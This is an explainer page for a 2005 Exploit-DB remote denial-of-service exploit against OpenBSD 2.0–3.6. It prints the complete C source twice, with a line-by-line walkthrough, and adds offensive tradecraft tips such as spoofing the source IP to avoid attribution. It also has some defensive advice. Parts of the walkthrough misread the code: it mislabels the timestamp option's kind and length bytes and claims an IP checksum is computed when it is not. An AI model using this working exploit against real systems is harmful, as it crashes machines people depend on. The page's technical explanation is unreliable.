OpenBSD TCP Timestamp DoS Exploit Explained

OpenBSD TCP Timestamp DoS Exploit Explained
What this paper is
This paper details a remote denial-of-service (DoS) exploit targeting specific versions of OpenBSD (2.0 through 3.6). The exploit leverages a vulnerability in how OpenBSD handles TCP options, specifically the TCP timestamp option, to cause a system crash. The provided C code constructs and sends a specially crafted TCP packet that triggers this vulnerability.
Simple technical breakdown
The core of the exploit lies in sending a TCP packet with a malformed TCP timestamp option. OpenBSD versions prior to 3.6 had a bug where they didn't correctly validate the length of the TCP timestamp option. By providing a timestamp option with an incorrect length, the system would attempt to process it, leading to a kernel panic and a denial of service.
The exploit code does the following:
- Constructs a raw IP packet: It manually builds an IP header.
- Constructs a raw TCP packet: It manually builds a TCP header.
- Injects a malformed TCP option: It adds a TCP timestamp option with an incorrect length.
- Calculates checksums: It calculates the IP and TCP checksums for the crafted packet.
- Sends the packet: It uses a raw socket to send the crafted packet to the target.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
#define _BSD_SOURCE
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/* edited by /str0ke ! milw0rm.com to compile under linux */
#ifndef TCPOPTLEN
#define TCPOPTLEN 12
#endif
#define UMASK 0xffff
#define TIMESTAMP 0x7b000000 // 123 in hex - change it, this will probably help
// ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.6/common/010_rtt.patch#define _BSD_SOURCE: This macro is used to enable BSD-specific features that might not be available in standard POSIX C.#include <...>: These lines include standard C and POSIX header files necessary for network programming, socket operations, IP and TCP structures, and general utilities./* edited by /str0ke ! milw0rm.com to compile under linux */: A comment indicating modifications made to allow the code to compile on Linux systems.#ifndef TCPOPTLEN #define TCPOPTLEN 12 #endif: DefinesTCPOPTLENto be 12 if it's not already defined. This is the expected length of the TCP options field in the crafted packet.#define UMASK 0xffff: Defines a mask used in the checksum calculation.#define TIMESTAMP 0x7b000000: This defines the value for the TCP timestamp. The comment suggests changing it and points to an OpenBSD patch URL, implying this value might be related to the vulnerability or a specific test case.0x7b000000is2063597568in decimal. The comment123 in hexis incorrect;0x7Bis 123 in decimal, but the full value is0x7b000000.
/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD 2.0 - 3.6 Remote DoS Exploit
Tested under OpenBSD 3.6 at OpenBSD 3.5/3.6
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Public version - change TimeStamp to cause System Crash
Gr33tz: zZz, Phoenix, MishaSt, Inck-Vizitor, BlackPrince
Fuck lamerz: Saint_I, nmalykh, Mr.Clumsy, RooD aka MapycyA
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/- This is a standard disclaimer and copyright notice from the original author, indicating the exploit's origin, target, and licensing.
u_short checksum(unsigned short * addr, int len)
{
u_int32_t cksum = 0;
while(len > 0)
{
cksum += *addr++;
len -= 2;
}
if(len == 0)
{
cksum += *(u_char *)addr;
}
cksum = (cksum >> 16) + (cksum & UMASK);
cksum = cksum + (cksum >> 16);
return (~cksum);
}checksum(unsigned short * addr, int len)function: This function calculates the Internet checksum as specified in RFC 1071.- It takes a pointer to an array of
unsigned short(addr) and the length (len) in bytes. - It iterates through the data, summing up 16-bit words.
- If the length is odd, it adds the last byte.
- It then performs the standard checksum folding (adding the high 16 bits to the low 16 bits) until only 16 bits remain.
- Finally, it returns the one's complement of the sum, which is the checksum value.
- It takes a pointer to an array of
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct ip * iph;
struct tcphdr * tcph;
struct _pseudoheader {
struct in_addr src_addr;
struct in_addr dest_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
u_char * packet;
u_char * pseudopacket;
int mysock;
int on = 1;
u_char * ts; u_int32_t val = TIMESTAMP;mainfunction: The entry point of the program.- Variable declarations: Declares structures and pointers needed for building network packets:
src,dst:struct in_addrto hold source and destination IP addresses.sin:struct sockaddr_infor socket address information.iph: Pointer to anipstructure (IP header).tcph: Pointer to atcphdrstructure (TCP header).pseudoheader: A structure used for calculating the TCP checksum. It includes source/destination IPs, zero byte, protocol, and length.packet: Pointer to the buffer that will hold the complete IP and TCP packet.pseudopacket: Pointer to a buffer for the pseudo-header and TCP segment used in checksum calculation.mysock: File descriptor for the raw socket.on: An integer flag, set to 1, used forsetsockopt.ts: Pointer to the TCP options area within the packet.val: Stores theTIMESTAMPvalue.
if( argc != 4)
{
fprintf(stderr, "r57obsd-dos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <source ip> <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}- Argument checking: Ensures the program receives exactly three command-line arguments: source IP, destination IP, and destination port. If not, it prints usage instructions and exits.
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc");
return EX_OSERR;
}- Packet buffer allocation: Allocates memory for the IP header, TCP header, and the TCP options (
TCPOPTLEN). This buffer will store the entire packet to be sent.
inet_aton(argv[1], &src);
inet_aton(argv[2], &dst);- IP address conversion: Converts the source and destination IP addresses provided as strings (from
argv[1]andargv[2]) into binaryin_addrstructures.
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN);
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0; // Checksum will be calculated later
iph->ip_src = src;
iph->ip_dst = dst;- IP Header construction: Populates the
ipstructure (iph) which points to the beginning of thepacketbuffer.ip_v: IP version (IPv4).ip_hl: IP header length in 32-bit words (5 means 20 bytes).ip_tos: Type of Service (set to 0).ip_len: Total length of the IP packet (header + data), converted to network byte order.ip_off: IP flags and fragment offset.IP_DF(Don't Fragment) is set, and the offset is 0, converted to network byte order.ip_ttl: Time To Live (set to 255, a common high value).ip_p: Protocol (set toIPPROTO_TCP).ip_sum: IP header checksum (set to 0 initially, as it will be calculated later).ip_src: Source IP address.ip_dst: Destination IP address.
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(rand()); // just random
tcph->th_dport = htons(atoi(argv[3]));
tcph->th_seq = htonl(rand());
tcph->th_ack = htonl(rand());
tcph->th_off = 5 + (TCPOPTLEN >> 2);
tcph->th_flags = TH_ACK;
tcph->th_win = htons(512);
tcph->th_urp = 0;- TCP Header construction: Populates the
tcphdrstructure (tcph), which is located immediately after the IP header in thepacketbuffer.th_sport: Source port (a random port is chosen usingrand(), converted to network byte order).th_dport: Destination port (taken fromargv[3], converted to network byte order).th_seq: Sequence number (a random value, converted to network byte order).th_ack: Acknowledgment number (a random value, converted to network byte order).th_off: TCP header length in 32-bit words. It's calculated as 5 (for the base 20-byte header) plus the number of 32-bit words for the options.TCPOPTLEN >> 2calculates this.th_flags: TCP flags.TH_ACK(Acknowledgment) is set.th_win: Window size (set to 512, converted to network byte order).th_urp: Urgent pointer (set to 0).
ts = (unsigned char *)(packet + sizeof(struct ip) + sizeof(struct tcphdr));
ts[0] = ts[1] = 1;
ts[2] = 8;
ts[3] = 10;
memcpy(ts+4, &val, 4);
memset(ts+8, 0, 4);- TCP Timestamp Option construction: This section crafts the specific TCP timestamp option.
tsis set to point to the beginning of the TCP options area.ts[0]andts[1](Option Type): Set to1. This is the "NOP" (No Operation) option.ts[2]andts[3](Option Length): Set to8. This indicates the option data is 8 bytes long. This is where the vulnerability lies. The TCP timestamp option itself is 10 bytes (2 bytes for kind, 2 bytes for length, 4 bytes for timestamp value, 4 bytes for echo reply). By specifying a length of 8, it's shorter than expected for a full timestamp option.memcpy(ts+4, &val, 4): Copies the 4-byteTIMESTAMPvalue (0x7b000000) into the option data. This is the actual timestamp value.memset(ts+8, 0, 4): Fills the remaining 4 bytes of the option data with zeros. This would typically be the echo reply timestamp, but it's zeroed out here.
Crucially, the TCPOPTLEN is 12, meaning the total space allocated for options is 12 bytes. The code writes 10 bytes for the option (2 bytes NOP, 2 bytes length, 4 bytes timestamp, 4 bytes zero). The th_off field is calculated as 5 + (12 >> 2), which is 5 + 3 = 8. This means the TCP header length is set to 8 * 4 = 32 bytes. The actual data written into the options area is 10 bytes. The TCPOPTLEN definition of 12 and the th_off calculation suggest the intent was to have 12 bytes of options, but only 10 are written. The vulnerability is triggered by the incorrect length field within the option itself (8 bytes) when the total option space might be larger or handled incorrectly by the kernel.
pseudoheader.src_addr = src;
pseudoheader.dest_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr) + TCPOPTLEN);- Pseudo-header construction: Prepares the
pseudoheaderstructure, which is used to calculate the TCP checksum. This header mimics parts of the IP header and TCP header.src_addr,dest_addr: Source and destination IP addresses.zero: Must be 0.protocol: The IP protocol number (TCP is 6).length: The length of the TCP segment (TCP header + TCP data/options), converted to network byte order.
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc()");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr) + TCPOPTLEN);
tcph->th_sum = checksum((unsigned short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr) + TCPOPTLEN);- TCP Checksum calculation:
- Allocates memory for the pseudo-packet.
- Copies the
pseudoheaderinto thepseudopacketbuffer. - Copies the TCP header and options (from the
packetbuffer) into thepseudopacketbuffer, immediately after the pseudo-header. - Calls the
checksumfunction to calculate the TCP checksum over the combined pseudo-header and TCP segment. - Assigns the calculated checksum to
tcph->th_sum.
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}- Raw socket creation: Creates a raw socket.
PF_INET: Address family (IPv4).SOCK_RAW: Socket type (raw packets).IPPROTO_RAW: Protocol (allows sending raw IP packets). This requires root privileges on most systems.
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}- Enable IP header inclusion: Sets the
IP_HDRINCLsocket option. This tells the kernel that the application will provide the IP header itself, rather than the kernel automatically constructing it. This is necessary because we are crafting a raw IP packet.
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(atoi(argv[3])); // doesn't really matter- Socket address setup: Configures the
sockaddr_instructure for thesendtocall.sin_family: Address family (IPv4).sin_addr: Destination IP address.sin_port: Destination port. The comment "doesn't really matter" suggests that for this DoS attack, the specific port might not be critical, as the vulnerability is in the TCP stack's handling of options, not necessarily a service listening on that port.
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN, 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_NOHOST;
}
printf("Packet sent. Remote machine should crash.\n");
shutdown(mysock, 2);
return EX_OK;
}- Packet transmission: Sends the crafted packet.
sendto: Sends a datagram.mysock: The raw socket.packet: The buffer containing the IP header, TCP header, and options.sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN: The total size of the packet to send.0: Flags.(struct sockaddr *)&sin: The destination address structure.sizeof(sin): The size of the destination address structure.
- Success message and cleanup: If
sendtois successful, it prints a message and closes the socket.
Code Fragment/Block -> Practical Purpose Mapping:
#include <netinet/ip.h>/struct ip: Defines the structure for an IPv4 header. Used to manually construct the IP header.#include <netinet/tcp.h>/struct tcphdr: Defines the structure for a TCP header. Used to manually construct the TCP header.#define TCPOPTLEN 12: Defines the total space allocated for TCP options.#define TIMESTAMP 0x7b000000: The specific value used for the TCP timestamp.checksum(...)function: Calculates the Internet checksum required for IP and TCP headers.main(...)function: Orchestrates the exploit.- Argument parsing (
if (argc != 4)): Ensures correct input from the user. malloc(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN): Allocates memory for the raw packet.inet_aton(...): Converts human-readable IP addresses to binary format.- IP header fields (
iph->ip_v,iph->ip_hl, etc.): Manually sets IP header parameters. - TCP header fields (
tcph->th_sport,tcph->th_dport, etc.): Manually sets TCP header parameters. - TCP Option construction (
ts[0]=1; ts[2]=8; ... memcpy(ts+4, &val, 4);): Creates the malformed TCP timestamp option. The critical part ists[2]=8(length field) which is incorrect for a full timestamp option. pseudoheaderstructure: Holds data needed for TCP checksum calculation.malloc(sizeof(pseudoheader)+sizeof(struct tcphdr) + TCPOPTLEN): Allocates memory for the pseudo-packet.checksum((unsigned short *)pseudopacket, ...): Calculates the TCP checksum.socket(PF_INET, SOCK_RAW, IPPROTO_RAW): Creates a raw socket to send custom packets.setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, ...): Informs the kernel that the IP header is included in the payload.sendto(...): Transmits the crafted raw packet to the target.printf("Packet sent. Remote machine should crash.\n");: Informs the user of the intended outcome.shutdown(mysock, 2): Closes the socket.
Practical details for offensive operations teams
- Required Access Level: Root or administrator privileges are required on the attacking machine to create and use raw sockets (
SOCK_RAW). - Lab Preconditions:
- A vulnerable OpenBSD system (versions 2.0 to 3.6) must be available for testing.
- Network connectivity between the attacker and the target is necessary.
- The target system should be running and reachable via IP.
- Tooling Assumptions:
- A C compiler (like GCC) is needed to compile the exploit code.
- Standard networking utilities (
ping,traceroute) can be useful for initial reconnaissance and verifying reachability. - Packet analysis tools (like Wireshark/tcpdump) are invaluable for debugging and understanding network traffic.
- Execution Pitfalls:
- Privilege Escalation: Failing to run the compiled exploit with root privileges will result in a "socket: Operation not permitted" error.
- Incorrect IP/Port: Providing invalid source/destination IPs or ports might lead to the packet not being sent or reaching the target.
- Firewalls/IDS: Network firewalls or Intrusion Detection Systems (IDS) might block raw IP packets or detect the malformed TCP option, preventing the exploit from reaching the target or alerting defenders.
- Target OS/Version: The exploit is highly specific to OpenBSD versions 2.0-3.6. It will not work on other operating systems or different versions of OpenBSD.
- Checksum Calculation Errors: Errors in the
checksumfunction or its usage can lead to packets being dropped by intermediate routers or the target's network stack. - TCP Option Parsing Differences: While the exploit targets a specific OpenBSD bug, other OSes might have different (though likely more robust) TCP option parsing, leading to silent failures or different behavior.
rand()predictability: The use ofrand()for sequence and acknowledgment numbers, and source ports, is generally acceptable for a DoS, but in more sensitive scenarios, a cryptographically secure random number generator would be preferred.
- Tradecraft Considerations:
- Source IP Spoofing: The exploit uses the provided source IP. For stealth, an operator might want to spoof the source IP to avoid direct attribution, though this can complicate receiving any potential (though unlikely for DoS) replies and might be blocked by ingress filtering.
- Payload Delivery: This is a DoS exploit, not a code execution exploit. The "payload" is the malformed packet itself designed to crash the system.
- Reconnaissance: Before execution, confirm the target's OS and version if possible. Tools like Nmap with OS detection can help.
- Timing: Consider the impact of a DoS attack on the target environment and schedule accordingly.
- Likely Failure Points:
- Lack of Root Privileges: The most common failure point.
- Network Issues: Packet loss, incorrect routing, or firewalls blocking raw packets.
- Target Not Vulnerable: Running against a patched OpenBSD version or a different OS.
- Incorrect Arguments: Typos in IP addresses or ports.
- Resource Exhaustion: If the target is already under heavy load, it might not crash as expected, or the crash might be attributed to other factors.
Where this was used and when
- Context: This exploit targets a vulnerability in the TCP stack of OpenBSD. Such vulnerabilities are typically discovered through security research, code audits, or fuzzing.
- Usage: Exploits like this are primarily used by security researchers to demonstrate vulnerabilities, by penetration testers during authorized engagements to assess system resilience, and unfortunately, by malicious actors for denial-of-service attacks.
- Timeframe: The exploit was published in March 2005. The vulnerability itself was present in OpenBSD versions 2.0 through 3.6. The patch for this vulnerability was released by OpenBSD around the same time or shortly after the exploit's publication, indicating it was a known issue that was subsequently fixed. Therefore, its active exploitation window would have been before the patch was widely applied.
Defensive lessons for modern teams
- Patch Management: Regularly apply security patches and updates to operating systems and network services. OpenBSD is known for its security focus, but even secure systems can have vulnerabilities.
- Network Segmentation and Firewalls: Implement robust firewall rules that restrict unnecessary inbound and outbound traffic. While raw IP packets can be difficult to filter based on application-layer content, network segmentation can limit the blast radius of a DoS attack.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy and configure IDS/IPS solutions that can detect anomalous network traffic patterns, including malformed packets or unusual TCP option usage. Signature-based detection might catch this specific exploit if signatures exist, but anomaly-based detection is crucial for zero-day or unknown variants.
- TCP/IP Stack Hardening: Modern operating systems have significantly improved TCP/IP stack robustness. This includes better validation of TCP options, packet lengths, and checksums. However, it's always good practice to review and apply OS-specific hardening guides.
- Vulnerability Management: Regularly scan your network for known vulnerabilities and prioritize patching.
- Incident Response Planning: Have a well-defined incident response plan for denial-of-service attacks, including communication strategies, mitigation steps (e.g., traffic filtering, rate limiting), and post-incident analysis.
- Traffic Monitoring: Monitor network traffic for unusual volumes, connection attempts, or malformed packets. Analyzing traffic logs can help identify the source and nature of an attack.
ASCII visual (if applicable)
This exploit involves crafting and sending a single packet. A visual representation of the packet structure is more relevant than an architectural diagram.
+-----------------------------------------------------------------+
| IP Header (Version, Length, TTL, Protocol=TCP, Src IP, Dst IP) |
+-----------------------------------------------------------------+
| TCP Header (Src Port, Dst Port, Seq, Ack, Flags, Window, Checksum)|
+-----------------------------------------------------------------+
| TCP Options (Type=NOP, Length=8, Timestamp Value, Echo Reply=0) |
+-----------------------------------------------------------------+- The
Length=8in the TCP Options is the critical malformed field that triggers the vulnerability in older OpenBSD versions. - The
IP_HDRINCLoption means the entire IP header is part of the data sent by the application.
Source references
- Paper ID: 869
- Paper Title: OpenBSD 2.0 < 3.6 - TCP Timestamp Remote Denial of Service
- Author: RusH
- Published: 2005-03-09
- Keywords: BSD, dos
- Paper URL: https://www.exploit-db.com/papers/869
- Raw URL: https://www.exploit-db.com/raw/869
- OpenBSD Errata: The paper references
http://www.openbsd.org/errata.htmlfor the vulnerability's origin.
Original Exploit-DB Content (Verbatim)
#define _BSD_SOURCE
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/* edited by /str0ke ! milw0rm.com to compile under linux */
#ifndef TCPOPTLEN
#define TCPOPTLEN 12
#endif
#define UMASK 0xffff
#define TIMESTAMP 0x7b000000 // 123 in hex - change it, this will probably help
// ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.6/common/010_rtt.patch
/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD 2.0 - 3.6 Remote DoS Exploit
Tested under OpenBSD 3.6 at OpenBSD 3.5/3.6
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Public version - change TimeStamp to cause System Crash
Gr33tz: zZz, Phoenix, MishaSt, Inck-Vizitor, BlackPrince
Fuck lamerz: Saint_I, nmalykh, Mr.Clumsy, RooD aka MapycyA
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/
u_short checksum(unsigned short * addr, int len)
{
u_int32_t cksum = 0;
while(len > 0)
{
cksum += *addr++;
len -= 2;
}
if(len == 0)
{
cksum += *(u_char *)addr;
}
cksum = (cksum >> 16) + (cksum & UMASK);
cksum = cksum + (cksum >> 16);
return (~cksum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct ip * iph;
struct tcphdr * tcph;
struct _pseudoheader {
struct in_addr src_addr;
struct in_addr dest_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
u_char * packet;
u_char * pseudopacket;
int mysock;
int on = 1;
u_char * ts; u_int32_t val = TIMESTAMP;
if( argc != 4)
{
fprintf(stderr, "r57obsd-dos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <source ip> <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[2], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN);
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(rand()); // just random
tcph->th_dport = htons(atoi(argv[3]));
tcph->th_seq = htonl(rand());
tcph->th_ack = htonl(rand());
tcph->th_off = 5 + (TCPOPTLEN >> 2);
tcph->th_flags = TH_ACK;
tcph->th_win = htons(512);
tcph->th_urp = 0;
ts = (unsigned char *)(packet + sizeof(struct ip) + sizeof(struct tcphdr));
ts[0] = ts[1] = 1;
ts[2] = 8;
ts[3] = 10;
memcpy(ts+4, &val, 4);
memset(ts+8, 0, 4);
pseudoheader.src_addr = src;
pseudoheader.dest_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr) + TCPOPTLEN);
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc()");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr) + TCPOPTLEN);
tcph->th_sum = checksum((unsigned short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr) + TCPOPTLEN);
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(atoi(argv[3])); // doesn't really matter
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN, 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_NOHOST;
}
printf("Packet sent. Remote machine should crash.\n");
shutdown(mysock, 2);
return EX_OK;
}
// milw0rm.com [2005-03-09]